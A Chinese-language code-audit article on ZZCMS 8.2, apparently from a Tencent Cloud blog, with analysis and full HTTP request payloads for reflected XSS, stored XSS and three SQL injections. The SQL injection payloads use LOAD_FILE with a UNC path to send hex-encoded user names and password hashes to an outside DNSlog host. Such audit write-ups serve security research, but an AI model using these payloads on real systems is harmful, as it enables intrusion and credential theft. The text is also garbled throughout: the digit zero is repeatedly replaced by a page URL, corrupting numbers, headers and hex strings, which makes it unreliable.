https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0 背景
本周，斗哥分析了下zzcms8.2的源码，发现蛮多问题的，觉得这个源码适合萌新们练手或入坑PHP的代码审计。今天决定发出一些发现的问题，当然这个源码还有很多问题，本篇仅对部分漏洞进行分析，至于如何GetShell我会在下周分享出我的方法。期待与师傅们的交流讨论。
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/01 审计过程
XSS相关问题
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0 相关环境
源码信息：ZZCMS 8.2 问题文件： zzcmszzcms8.2installstep_6.php 漏洞类型：反射型XSS
站点地址：http://www.zzcms.net/
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/01 漏洞分析
在zzcmszzcms8.2installstep_6.php中的第1https://cloud.tencent.com/developer/article/0-11行中得到如下代码块。
因为zzcmszzcms8.2installindex.php文件的第8-9行中使用了注册变量的操作。
且在zzcmszzcms8.2installindex.php文件的第123行中包含了zzcmszzcms8.2installstep_6.php文件。
因此从注册变量再到输出整个数据的传递过程没有做任何的安全处理，所以存在反射型XSS等攻击。
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/02 漏洞复现
进行如下请求，便可以触发JS代码。
代码语言：javascript复制POST /install/index.php HTTP/1.1
Host: 127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1
User-Agent: Mozilla/5.https://cloud.tencent.com/developer/article/0 (Windows NT 1https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0; WOW64; rv:56.https://cloud.tencent.com/developer/article/0) Gecko/2https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/01 Firefox/56.https://cloud.tencent.com/developer/article/0
Accept: text/html,application/xhtml xml,application/xml;q=https://cloud.tencent.com/developer/article/0.9,*/*;q=https://cloud.tencent.com/developer/article/0.8
Accept-Language: zh-CN,zh;q=https://cloud.tencent.com/developer/article/0.8,en-US;q=https://cloud.tencent.com/developer/article/0.5,en;q=https://cloud.tencent.com/developer/article/0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Referer: http://127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1/install/index.php
Cookie: ECS[visit_times]=4; ECS_ID=https://cloud.tencent.com/developer/article/0c1https://cloud.tencent.com/developer/article/0cf2https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0fe52e4https://cloud.tencent.com/developer/article/044f277d2a4fb4391514db71d; ECSCP_ID=946e425af35https://cloud.tencent.com/developer/article/01b9e1b2d36https://cloud.tencent.com/developer/article/0a76b2cffahttps://cloud.tencent.com/developer/article/0f44f617; PHPSESSID=r3rd91v2sqku4qncjhttps://cloud.tencent.com/developer/article/0vphttps://cloud.tencent.com/developer/article/0q9u43
Connection: close
Upgrade-Insecure-Requests: 1
admin=admin&adminpwdtrue=admin<script>alert(1)</script>&step=61xhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0 相关环境
源码信息：ZZCMS 8.2 问题文件：zzcmszzcms8.2zxshow.php 漏洞类型：存储型XSS漏洞
站点地址：http://www.zzcms.net/
1xhttps://cloud.tencent.com/developer/article/01 漏洞分析
首先分析输入位置： 在zzcmszzcms8.2userzxsave.php文件中的第51-57行中的如下代码块中将留言的内容插入到数据库中。
在zzcmszzcms8.2userzxsave.php文件的第3行中包含了/inc/conn.php文件。
然后在zzcmszzcms8.2incconn.php文件中包含了/inc/stopsqlin.php文件。
在zzcmszzcms8.2incstopsqlin.php文件中的第6-13行，对传入的数据的字符进行了实体化和转义处理。
因此编辑资讯操作存在数据库中是以关键符号实体化和转义后存入。
然后分析输出位置： 在zzcmszzcms8.2zxshow.php文件中的第36-4https://cloud.tencent.com/developer/article/0行中从数据库中取出数据，然后对content列做stripfxg处理。
跟入stripfxg方法，在zzcmszzcms8.2incfunction.php文件的第577行发现该方法，分析该方法知道是对传入的数据进行实体化和转义的还原操作，因此content列的数据经过该方法的处理后，便还原为原本的字符串。
最后在155-181行中的代码是调用showcontent和Payjf等方法，将数据输出到页面上，但是也没有对一些危险字符进行安全处理，所以此处存在存储型XSS。
类似的问题该源码还存在许多位置，大家可以自行发现。
1xhttps://cloud.tencent.com/developer/article/02 漏洞复现
注册普通会员后，登陆到个人中心进行发资讯操作。
然后进行如下操作，将payload存入到数据库中。
发布后访问该资讯便会触发XSS。
当然也可直接进行如下操作，将payload存入数据库，然后再访问资讯触发XSS。
代码语言：javascript复制POST /user/zxsave.php HTTP/1.1
Host: 127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1
User-Agent: Mozilla/5.https://cloud.tencent.com/developer/article/0 (Windows NT 1https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0; WOW64; rv:56.https://cloud.tencent.com/developer/article/0) Gecko/2https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/01 Firefox/56.https://cloud.tencent.com/developer/article/0
Accept: text/html,application/xhtml xml,application/xml;q=https://cloud.tencent.com/developer/article/0.9,*/*;q=https://cloud.tencent.com/developer/article/0.8
Accept-Language: zh-CN,zh;q=https://cloud.tencent.com/developer/article/0.8,en-US;q=https://cloud.tencent.com/developer/article/0.5,en;q=https://cloud.tencent.com/developer/article/0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Referer: http://127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1/user/zxmodify.php?id=5
Cookie: bdshare_firstime=1521https://cloud.tencent.com/developer/article/075384https://cloud.tencent.com/developer/article/018; UserName=Thinking; PassWord=https://cloud.tencent.com/developer/article/05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
bigclassid=https://cloud.tencent.com/developer/article/0&smallclassid=https://cloud.tencent.com/developer/article/0&title=1&link=&laiyuan=zzcms&content=
aaaaaaaaaaa&keywords=1&description=&groupid=https://cloud.tencent.com/developer/article/0&jifen=https://cloud.tencent.com/developer/article/0&Submit=发 布&id=5&editor=Thinking&page=1&action=modifySQL注入问题：
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0 相关环境
源码信息：ZZCMS 8.2
问题文件： zzcmszzcms8.2incfunction.php 漏洞类型：SQL注入漏洞
站点地址：http://www.zzcms.net/
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/01 漏洞分析
在zzcmszzcms8.2usercheck.php文件的第19行中，在执行SQL语句的时候使用了getip方法获取登录IP然后拼接到SQL中。
跟入getip方法，在zzcmszzcms8.2incfunction.php文件中的第1https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0行发现代码块，通过分析该方法，发现并没有对传入的IP进行合规判断，又将方法的结果返回到调用的位置，所以此处存在SQL注入，经过分析发现有多处使用了getip方法与数据进行拼接，所以还有许多漏洞等待挖掘。
而getip方法被使用的位置也是有很多处，大家也可自行发现其他位置的安全问题。
https://cloud.tencent.com/developer/article/0xhttps://cloud.tencent.com/developer/article/02 漏洞复现
进行如下请求，注入的位置在client-ip，由于数据没有进行回显，所以可以利用DNSlog或者盲注获取数据。
代码语言：javascript复制POST /user/logincheck.php HTTP/1.1
Host: 127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1
User-Agent: Mozilla/5.https://cloud.tencent.com/developer/article/0 (Windows NT 1https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0; WOW64; rv:56.https://cloud.tencent.com/developer/article/0) Gecko/2https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/01 Firefox/56.https://cloud.tencent.com/developer/article/0
Accept: text/html,application/xhtml xml,application/xml;q=https://cloud.tencent.com/developer/article/0.9,*/*;q=https://cloud.tencent.com/developer/article/0.8
Accept-Language: zh-CN,zh;q=https://cloud.tencent.com/developer/article/0.8,en-US;q=https://cloud.tencent.com/developer/article/0.5,en;q=https://cloud.tencent.com/developer/article/0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1https://cloud.tencent.com/developer/article/06
Referer: http://127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1/user/login.php
Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521https://cloud.tencent.com/developer/article/075384https://cloud.tencent.com/developer/article/018
client-ip:127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.9'and (select LOAD_FILE(CONCAT(https://cloud.tencent.com/developer/article/0x5c5c,(select hex(GROUP_CONCAT(username,https://cloud.tencent.com/developer/article/0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),https://cloud.tencent.com/developer/article/0x2e6d7973716c2e38353731653539342e326d312e7https://cloud.tencent.com/developer/article/0772f2f616263)))#
Connection: close
Upgrade-Insecure-Requests: 1
username=Thinking&password=thinkingpwd&yzm=33&fromurl=http://127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1/&Submit=登 录进行如上请求后查看dnslog可以看到返回的结果，对结果进行unhex可以得到明文信息。
1xhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0 相关环境
源码信息：ZZCMS 8.2 问题文件： zzcmszzcms_xm8.2userdel.php 漏洞类型：SQL注入漏洞
站点地址：http://www.zzcms.net/
1xhttps://cloud.tencent.com/developer/article/01 漏洞分析
在zzcmszzcms8.2userdel.php文件的第138-141行中，当$tablename不满足if和elseif 的条件的时候，便会进入到如下代码块。
因为注入的位置是表名，因此可以不需要引入符号进行闭合，所以就可以无视/inc/stopsqlin.php文件中的安全处理规则，所以此处可以直接进行SQL注入。
1xhttps://cloud.tencent.com/developer/article/02 漏洞复现
注册用户后等，然后进行如下请求，由于tablename参数的传入会经过/inc/stopsqlin.php文件进行处理，且此处是属于盲注，可以使用DNSlog获取数据，然后在将字符进行16进制编码，避免使用引号引入。
代码语言：javascript复制POST /user/del.php HTTP/1.1
Host: 127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1
User-Agent: Mozilla/5.https://cloud.tencent.com/developer/article/0 (Windows NT 1https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0; WOW64; rv:56.https://cloud.tencent.com/developer/article/0) Gecko/2https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/01 Firefox/56.https://cloud.tencent.com/developer/article/0
Accept: text/html,application/xhtml xml,application/xml;q=https://cloud.tencent.com/developer/article/0.9,*/*;q=https://cloud.tencent.com/developer/article/0.8
Accept-Language: zh-CN,zh;q=https://cloud.tencent.com/developer/article/0.8,en-US;q=https://cloud.tencent.com/developer/article/0.5,en;q=https://cloud.tencent.com/developer/article/0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
Referer: http://127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1//user/zxmanage.php
Cookie: PHPSESSID=r3rd91v2sqku4qncjhttps://cloud.tencent.com/developer/article/0vphttps://cloud.tencent.com/developer/article/0q9u43; bdshare_firstime=1521https://cloud.tencent.com/developer/article/075384https://cloud.tencent.com/developer/article/018; UserName=Thinking; PassWord=3a923a7dhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0ee3ehttps://cloud.tencent.com/developer/article/041dhttps://cloud.tencent.com/developer/article/018b27https://cloud.tencent.com/developer/article/08ee9994
Connection: close
Upgrade-Insecure-Requests: 1
id[]=1&submit=删除
&pagename=zxmanage.php?page=1&tablename=zzcms_zx union select 1,LOAD_FILE(CONCAT(https://cloud.tencent.com/developer/article/0x5c5c,(select hex(GROUP_CONCAT(username,https://cloud.tencent.com/developer/article/0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),https://cloud.tencent.com/developer/article/0x2e6d7973716c2e38353731653539342e326d312e7https://cloud.tencent.com/developer/article/0772f2f616263))#进行如上请求后可以在dnslog上获取到数据。
2xhttps://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/0 相关环境
源码信息：ZZCMS 8.2
问题文件： zzcmszzcms8.2usermsg.php 漏洞类型：SQL注入漏洞
站点地址：http://www.zzcms.net/
2xhttps://cloud.tencent.com/developer/article/01 漏洞分析
在zzcmszzcms8.2usermsg.php文件中的第29-36行中，使用了stripfxg方法对POST传入的info_content参数的值进行处理，虽然该源码会对传入的参数的值进行实体化和转义处理，但是此处由于使用stripfxg方法会还原为原本的数据，因此可以引入单引号，所以存在SQL注入漏洞。
2xhttps://cloud.tencent.com/developer/article/02 漏洞复现
进行如下请求，然后可以在DNSlog上获取到数据。
代码语言：javascript复制POST /user/msg.php?action=savedata&saveas=modify HTTP/1.1
Host: 127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1
User-Agent: Mozilla/5.https://cloud.tencent.com/developer/article/0 (Windows NT 1https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0; WOW64; rv:56.https://cloud.tencent.com/developer/article/0) Gecko/2https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/0https://cloud.tencent.com/developer/article/01https://cloud.tencent.com/developer/article/01 Firefox/56.https://cloud.tencent.com/developer/article/0
Accept: text/html,application/xhtml xml,application/xml;q=https://cloud.tencent.com/developer/article/0.9,*/*;q=https://cloud.tencent.com/developer/article/0.8
Accept-Language: zh-CN,zh;q=https://cloud.tencent.com/developer/article/0.8,en-US;q=https://cloud.tencent.com/developer/article/0.5,en;q=https://cloud.tencent.com/developer/article/0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Referer: http://127.https://cloud.tencent.com/developer/article/0.https://cloud.tencent.com/developer/article/0.1/user/msg.php?action=modify&id=1
Cookie: PHPSESSID=r3rd91v2sqku4qncjhttps://cloud.tencent.com/developer/article/0vphttps://cloud.tencent.com/developer/article/0q9u43; bdshare_firstime=1521https://cloud.tencent.com/developer/article/075384https://cloud.tencent.com/developer/article/018; UserName=Thinking; PassWord=https://cloud.tencent.com/developer/article/05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
info_content=aaaaaaaaaaa'^(select LOAD_FILE(CONCAT(https://cloud.tencent.com/developer/article/0x5c5c,(select hex(GROUP_CONCAT(username,https://cloud.tencent.com/developer/article/0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),https://cloud.tencent.com/developer/article/0x2e6d7973716c2e38353731653539342e326d312e7https://cloud.tencent.com/developer/article/0772f2f616263)))#&id=1&Submit2=修改
